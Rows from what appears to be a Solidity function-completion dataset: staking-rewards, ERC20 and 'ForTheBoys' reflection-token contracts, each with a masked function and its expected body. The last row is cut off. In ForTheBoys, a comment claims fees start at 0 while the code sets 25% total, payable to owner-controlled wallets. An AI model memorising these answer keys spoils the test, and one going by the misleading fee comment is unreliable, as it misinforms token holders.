return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply)
);
}
function earned(address account) public view returns (uint256) {
return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
/* ========== MUTATIVE FUNCTIONS ========== */
function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) {<FILL_FUNCTION_BODY> }
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function exit() external {
withdraw(_balances[msg.sender]);
getReward();
}
/* ========== RESTRICTED FUNCTIONS ========== */
function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) {
// handle the transfer of reward tokens via `transferFrom` to reduce the number
// of transactions required and ensure correctness of the reward amount
rewardsToken.safeTransferFrom(msg.sender, address(this), reward);
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(rewardsDuration);
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(rewardsDuration);
emit RewardAdded(reward);
}
// Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner {
require(tokenAddress != address(stakingToken), "Cannot withdraw the staking token");
IERC20(tokenAddress).safeTransfer(owner, tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner {
require(
block.timestamp > periodFinish,
"Previous rewards period must be complete before changing the duration for the new period"
);
rewardsDuration = _rewardsDuration;
emit RewardsDurationUpdated(rewardsDuration);
}
/* ========== MODIFIERS ========== */
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
/* ========== EVENTS ========== */
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardsDurationUpdated(uint256 newDuration);
event Recovered(address token, uint256 amount);
} | contract FRAX3CRV_Curve_FXS_Distributor is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard, Pausable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/* ========== STATE VARIABLES ========== */
IERC20 public rewardsToken;
IERC20 public stakingToken;
uint256 public periodFinish = 0;
uint256 public rewardRate = 0;
uint256 public rewardsDuration;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
/* ========== CONSTRUCTOR ========== */
constructor(
address _owner,
address _rewardsDistribution,
address _rewardsToken,
address _stakingToken,
uint256 _rewardsDuration
) public Owned(_owner) {
rewardsToken = IERC20(_rewardsToken);
stakingToken = IERC20(_stakingToken);
rewardsDistribution = _rewardsDistribution;
rewardsDuration = _rewardsDuration;
}
/* ========== VIEWS ========== */
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardPerToken() public view returns (uint256) {
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(
lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply)
);
}
function earned(address account) public view returns (uint256) {
return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);
}
function getRewardForDuration() external view returns (uint256) {
return rewardRate.mul(rewardsDuration);
}
/* ========== MUTATIVE FUNCTIONS ========== */
function stake(uint256 amount) external nonReentrant notPaused updateReward(msg.sender) {
require(amount > 0, "Cannot stake 0");
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
<FILL_FUNCTION>
function getReward() public nonReentrant updateReward(msg.sender) {
uint256 reward = rewards[msg.sender];
if (reward > 0) {
rewards[msg.sender] = 0;
rewardsToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
}
}
function exit() external {
withdraw(_balances[msg.sender]);
getReward();
}
/* ========== RESTRICTED FUNCTIONS ========== */
function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) {
// handle the transfer of reward tokens via `transferFrom` to reduce the number
// of transactions required and ensure correctness of the reward amount
rewardsToken.safeTransferFrom(msg.sender, address(this), reward);
if (block.timestamp >= periodFinish) {
rewardRate = reward.div(rewardsDuration);
} else {
uint256 remaining = periodFinish.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(rewardsDuration);
}
lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(rewardsDuration);
emit RewardAdded(reward);
}
// Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner {
require(tokenAddress != address(stakingToken), "Cannot withdraw the staking token");
IERC20(tokenAddress).safeTransfer(owner, tokenAmount);
emit Recovered(tokenAddress, tokenAmount);
}
function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner {
require(
block.timestamp > periodFinish,
"Previous rewards period must be complete before changing the duration for the new period"
);
rewardsDuration = _rewardsDuration;
emit RewardsDurationUpdated(rewardsDuration);
}
/* ========== MODIFIERS ========== */
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
/* ========== EVENTS ========== */
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
event RewardsDurationUpdated(uint256 newDuration);
event Recovered(address token, uint256 amount);
} |
require(amount > 0, "Cannot withdraw 0");
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
stakingToken.safeTransfer(msg.sender, amount);
emit Withdrawn(msg.sender, amount);
| function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) | function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) |
72743 | ERC20Token | approve | contract ERC20Token is ERC20TokenInterface {
using SafeMath for uint256;
// Token account balances.
mapping (address => uint256) balances;
// Delegated number of tokens to transfer.
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Checks the balance of a certain address.
*
* @param _account The address which's balance will be checked.
*
* @return Returns the balance of the `_account` address.
*/
function balanceOf(address _account) public constant returns (uint256 balance) {
return balances[_account];
}
/**
* @dev Transfers tokens from one address to another.
*
* @param _to The target address to which the `_value` number of tokens will be sent.
* @param _value The number of tokens to send.
*
* @return Whether the transfer was successful or not.
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
if (balances[msg.sender] < _value || _value == 0) {
return false;
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Send `_value` tokens to `_to` from `_from` if `_from` has approved the process.
*
* @param _from The address of the sender.
* @param _to The address of the recipient.
* @param _value The number of tokens to be transferred.
*
* @return Whether the transfer was successful or not.
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
if (balances[_from] < _value || allowed[_from][msg.sender] < _value || _value == 0) {
return false;
}
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Allows another contract to spend some tokens on your behalf.
*
* @param _spender The address of the account which will be approved for transfer of tokens.
* @param _value The number of tokens to be approved for transfer.
*
* @return Whether the approval was successful or not.
*/
function approve(address _spender, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> }
/**
* @dev Shows the number of tokens approved by `_owner` that are allowed to be transferred by `_spender`.
*
* @param _owner The account which allowed the transfer.
* @param _spender The account which will spend the tokens.
*
* @return The number of tokens to be transferred.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* Don't accept ETH
*/
function () public payable {
revert();
}
} | contract ERC20Token is ERC20TokenInterface {
using SafeMath for uint256;
// Token account balances.
mapping (address => uint256) balances;
// Delegated number of tokens to transfer.
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Checks the balance of a certain address.
*
* @param _account The address which's balance will be checked.
*
* @return Returns the balance of the `_account` address.
*/
function balanceOf(address _account) public constant returns (uint256 balance) {
return balances[_account];
}
/**
* @dev Transfers tokens from one address to another.
*
* @param _to The target address to which the `_value` number of tokens will be sent.
* @param _value The number of tokens to send.
*
* @return Whether the transfer was successful or not.
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
if (balances[msg.sender] < _value || _value == 0) {
return false;
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Send `_value` tokens to `_to` from `_from` if `_from` has approved the process.
*
* @param _from The address of the sender.
* @param _to The address of the recipient.
* @param _value The number of tokens to be transferred.
*
* @return Whether the transfer was successful or not.
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
if (balances[_from] < _value || allowed[_from][msg.sender] < _value || _value == 0) {
return false;
}
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
<FILL_FUNCTION>
/**
* @dev Shows the number of tokens approved by `_owner` that are allowed to be transferred by `_spender`.
*
* @param _owner The account which allowed the transfer.
* @param _spender The account which will spend the tokens.
*
* @return The number of tokens to be transferred.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* Don't accept ETH
*/
function () public payable {
revert();
}
} |
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
| function approve(address _spender, uint256 _value) public returns (bool success) | /**
* @dev Allows another contract to spend some tokens on your behalf.
*
* @param _spender The address of the account which will be approved for transfer of tokens.
* @param _value The number of tokens to be approved for transfer.
*
* @return Whether the approval was successful or not.
*/
function approve(address _spender, uint256 _value) public returns (bool success) |
47816 | ForTheBoys | tokenFromReflection | contract ForTheBoys is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'For The Boys';
string private _symbol = 'FTB';
uint8 private _decimals = 9;
// Tax and team fees will start at 0 so we don't have a big impact when deploying to Uniswap
// Team wallet address is null but the method to set the address is exposed
uint256 private _taxFee = 10;
uint256 private _teamFee = 15;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousTeamFee = _teamFee;
address payable public _teamWalletAddress;
address payable public _marketingWalletAddress;
address payable public _buybackWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwap = false;
bool public swapEnabled = true;
bool public _MaxBuyEnabled = true;
uint256 private _maxTxAmount = 100000000000000e9;
uint256 private _maxBuy = 25000000000 * 10**9;
// We will set a minimum amount of tokens to be swaped => 5M
uint256 private _numOfTokensToExchangeForTeam = 5 * 10**3 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable teamWalletAddress, address payable marketingWalletAddress, address payable buybackWalletAddress) public {
_teamWalletAddress = teamWalletAddress;
_marketingWalletAddress = marketingWalletAddress;
_buybackWalletAddress = buybackWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// Exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamWalletAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
_isExcludedFromFee[_buybackWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {<FILL_FUNCTION_BODY> }
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousTeamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousTeamFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if(_MaxBuyEnabled){
if(sender == uniswapV2Pair && recipient != owner() && sender != owner()){
require (amount <= _maxBuy);
}
}
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap?
// also, don't get caught in a circular team event.
// also, don't swap if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToTeam(address(this).balance);
}
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
//transfer amount, it will take tax and team fee
_tokenTransfer(sender,recipient,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToTeam(uint256 amount) private {
_teamWalletAddress.transfer(amount.mul(2).div(8));
_marketingWalletAddress.transfer(amount.mul(4).div(8));
_buybackWalletAddress.transfer(amount.mul(2).div(8));
}
// We are exposing these functions to be able to manual swap and send
// in case the token is highly valued and 5M becomes too much
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToTeam(contractETHBalance);
}
function setSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function setMaxBuyEnabled(bool MaxBuyEnabled) external onlyOwner(){
_MaxBuyEnabled = MaxBuyEnabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 25, 'taxFee should be in 1 - 25');
_taxFee = taxFee;
}
function _setTeamFee(uint256 teamFee) external onlyOwner() {
require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25');
_teamFee = teamFee;
}
function _setTeamWallet(address payable teamWalletAddress) external onlyOwner() {
_teamWalletAddress = teamWalletAddress;
}
function _setbuybackWallet(address payable buybackWalletAddress) external onlyOwner() {
_buybackWalletAddress = buybackWalletAddress;
}
function _setMarketingWallet(address payable marketingWalletAddress) external onlyOwner() {
_marketingWalletAddress = marketingWalletAddress;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 100000000000000e9 , 'maxTxAmount should be greater than 100000000000000e9');
_maxTxAmount = maxTxAmount;
}
} | contract ForTheBoys is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'For The Boys';
string private _symbol = 'FTB';
uint8 private _decimals = 9;
// Tax and team fees will start at 0 so we don't have a big impact when deploying to Uniswap
// Team wallet address is null but the method to set the address is exposed
uint256 private _taxFee = 10;
uint256 private _teamFee = 15;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousTeamFee = _teamFee;
address payable public _teamWalletAddress;
address payable public _marketingWalletAddress;
address payable public _buybackWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwap = false;
bool public swapEnabled = true;
bool public _MaxBuyEnabled = true;
uint256 private _maxTxAmount = 100000000000000e9;
uint256 private _maxBuy = 25000000000 * 10**9;
// We will set a minimum amount of tokens to be swaped => 5M
uint256 private _numOfTokensToExchangeForTeam = 5 * 10**3 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable teamWalletAddress, address payable marketingWalletAddress, address payable buybackWalletAddress) public {
_teamWalletAddress = teamWalletAddress;
_marketingWalletAddress = marketingWalletAddress;
_buybackWalletAddress = buybackWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// Exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamWalletAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
_isExcludedFromFee[_buybackWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
